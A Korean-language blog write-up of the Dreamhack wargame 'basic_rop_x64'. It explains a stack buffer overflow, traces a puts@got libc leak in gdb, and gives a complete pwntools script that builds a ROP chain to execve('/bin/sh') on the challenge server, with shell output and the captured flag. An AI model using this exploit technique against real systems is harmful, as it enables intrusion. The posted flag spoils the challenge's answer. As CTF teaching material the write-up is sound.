Description

    이 문제는 서버에서 작동하고 있는 서비스(basic_rop_x64)의 바이너리와 소스 코드가 주어집니다.
    Return Oriented Programming 공격 기법을 통해 셸을 획득한 후, “flag” 파일을 읽으세요.
    “flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
    플래그의 형식은 DH{…} 입니다.


    checksec

    seo@seo-virtual-machine:~/Desktop/basic_rop_x64$ checksec --file ./basic_rop_x64
    [*] '/home/seo/Desktop/basic_rop_x64/basic_rop_x64'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x3fe000)

    Decompiled-src

    main

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      char buf[64]; // [rsp+10h] [rbp-40h] BYREF
      __int64 savedregs; // [rsp+50h] [rbp+0h] BYREF
    
      memset(buf, 0, sizeof(buf));
      initialize(&savedregs, argv, buf);
      read(0, buf, 1024uLL);
      write(1, buf, 64uLL);
      return 0;
    }

    64바이트 할당된 buf에 read함수로 1024바이트만큼 입력받으므로
    버퍼 오버플로우가 발생한다.


    Solution

    ROP 공격기법을 통해
    스택 오버플로우와 같은 취약점으로 콜 스택을 통제할 수 있기 때문에
    스택 기반 연산을 하는 코드 가젯들을 이용해서

    execve("/bin/sh", NULL, NULL) 이 실행되도록 만들면 된다.

    64비트 실행 파일에서 함수가 호출될 때 전달되는 인자는 다음과 같다.

    따라서 execve 함수 호출시 첫 번째 인자를 설정하기 위해, pop rdi;
    2번째 인자를 설정하기 위해 pop rsi
    3번째 인자를 설정하기 위해 pop rdx 가젯들이 필요하다.

    이러한 가젯들은 pip3로 ROPgadget를 설치해서 획득할 수 있다.

    seo@seo-virtual-machine:~$ ROPgadget --binary ~/Desktop/basic_rop_x64/libc.so.6 | grep "pop rdi ; ret"
    0x000000000009c2a9 : add byte ptr [rbx + rcx*4 + 0x15], cl ; pop rdi ; retf
    0x00000000001bc10b : or al, ch ; pop rdi ; ret 0xffe6
    0x000000000002a3e5 : pop rdi ; ret
    0x00000000001bc10d : pop rdi ; ret 0xffe6
    0x000000000008eef5 : pop rdi ; retf

    다시 정리해보자면,

    1. 먼저 puts@got 주소를 출력시키게 만들어 libc base 주소를 구한다.

    페이로드를 만든다면,
    (buf를 채울 64바이트 더미) + (RBP를 채울 8바이트 더미) + (pop rdi; ret 주소) + (puts@got 주소) + (puts@plt 주소) + (main 주소)가 되겠다.

    (gdb) stepi
    0x0000000000400883 in __libc_csu_init () 
    [pop rdi; ret 실행 직전]
    
    (gdb) info reg
    rsp            0x7fffffffddd0      0x7fffffffddd0
    
    (gdb) x/4gx $rsp
    0x7fffffffddd0:	0x0000000000601018	0x00000000004005c0
    0x7fffffffdde0:	0x00000000004007ba	0x00007fffffffded8
    
    (gdb) x/a $rsp
    0x7fffffffddd0:	0x601018 <[email protected]>
    (gdb) x/a $rsp+8
    0x7fffffffddd8:	0x4005c0 <puts@plt>
    (gdb) x/a $rsp+16
    0x7fffffffdde0:	0x4007ba <main>

    그러면 main 함수의 에필로그의 retn 어셈블리가 실행되면서,
    pop rdi; ret 주소로 이동하고 실행하게 된다.

    (gdb) stepi
    0x0000000000400884 in __libc_csu_init ()
    [pop rdi; 실행 후, ret 실행 전]
    
    (gdb) info reg
    rdi            0x601018            6295576
    rsp            0x7fffffffddd8      0x7fffffffddd8
    
    (gdb) x/a $rsp
    0x7fffffffddd8:	0x4005c0 <puts@plt>
    (gdb) x/a $rdi
    0x601018 <[email protected]>:	0x4005c6 <puts@plt+6>

    pop rdi; 가 실행되면서
    스택에 백업해둔 rdi 값이 puts@got으로 복원되고,
    pop을 했으므로 stack pointer는 1 qword 위로 올라가며,
    stack pointer는 return address인 puts@plt 주소를 가리킨다.

    (gdb) stepi
    0x00000000004005c0 in puts@plt ()
    [pop rdi; ret; 실행 후]
    
    (gdb) info reg
    rdi            0x601018            6295576
    rsp            0x7fffffffdde0      0x7fffffffdde0
    rip            0x4005c0            0x4005c0 <puts@plt>
    
    (gdb) x/a $rsp
    0x7fffffffdde0:	0x4007ba <main>



    ret 이 실행되면서
    스택에 저장된 return address인 puts@plt 주소로 리턴한다.
    return address인 puts@plt 주소는 POP 되어 RIP에 저장되고,
    stack pointer는 한번더 1 qword 위로 올라간다.

    이렇게 ROP 기법으로 puts(puts@got) 주소를 실행시켜,
    puts@got 주소를 획득할 수 있었다.

    그리고 위로 올라갔기 때문에 stack pointer는 이제 main 주소를 가리키게 되는데,
    puts 함수에서의 ret 어셈블리가 실행되면서 main 함수를 다시 호출할 수 있게 되는 것이다.


    2. 다시 한번 ROP 기법으로 execve("/bin/sh", NULL, NULL)을 호출시켜 쉘을 획득한다.

    앞서 설명했듯이,
    pop rdi, pop rsi, pop rdx 가젯들을 이용해서
    execve 함수 호출시 필요한 각각 매개변수를 지정해주면 된다.


    solve.py

    from pwn import *
    #context.log_level = 'debug'
    context(arch='amd64',os='linux')
    warnings.filterwarnings('ignore')
    
    #p = process("./basic_rop_x64")
    p = remote('host3.dreamhack.games', 16404)
    
    e = ELF('./basic_rop_x64')
    l = ELF('./libc.so.6')
    
    main_func = e.symbols['main']
    pop_rdi_ret = 0x400883
    
    #Stage 1. LEAK puts@got
    payload = b""
    payload += b"A" * 0x40
    payload += b"B" * 0x8
    
    #puts(puts@got address) and call main
    payload += p64(pop_rdi_ret)
    payload += p64(e.got['puts'])
    payload += p64(e.symbols['puts'])
    payload += p64(main_func)
    p.send(payload)
    
    #receive leaked puts_got
    puts = p.recvline()
    puts = puts[64:70]
    puts += b"\x00\x00"
    puts = u64(puts)
    libc_base = puts- l.symbols['puts']
    print(f"puts: {hex(puts)}")
    print(f"libc_base: {hex(libc_base)}")
    
    #Stage 2. execve"/bin/sh", NULL, NULL);
    execve = libc_base + l.symbols['execve']
    bin_sh = libc_base + 0x1d8698 
    pop_rsi_ret = libc_base + 0x2be51
    pop_rdx_pop_r12_ret = libc_base + 0x11f497
    
    payload = b""
    payload += b"A" * 0x40
    payload += b"B" * 0x8
    #set rdi
    payload += p64(pop_rdi_ret) 
    payload += p64(bin_sh) #arg1: /bin/sh
    #set rsi
    payload += p64(pop_rsi_ret)
    payload += p64(0) #arg2: NULL
    #set rdx
    payload += p64(pop_rdx_pop_r12_ret)
    payload += p64(0) #rdx #arg3: NULL
    payload += p64(0) #r12
    
    payload += p64(execve)
    p.send(payload)
    
    p.interactive()

    Result

    seo@seo-virtual-machine:~/Desktop/basic_rop_x64$ python3 solve3.py
    [+] Opening connection to host3.dreamhack.games on port 16404: Done
    [*] '/home/seo/Desktop/basic_rop_x64/basic_rop_x64'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x3fe000)
    [*] '/home/seo/Desktop/basic_rop_x64/libc.so.6'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled
    puts: 0x7f9b25cf6ed0
    libc_base: 0x7f9b25c76000
    [*] Switching to interactive mode
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$ ls
    basic_rop_x64
    flag
    $ cat flag
    DH{6311151d71a102eb27195bceb61097c15cd2bcd9fd117fc66293e8c780ae104e}

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다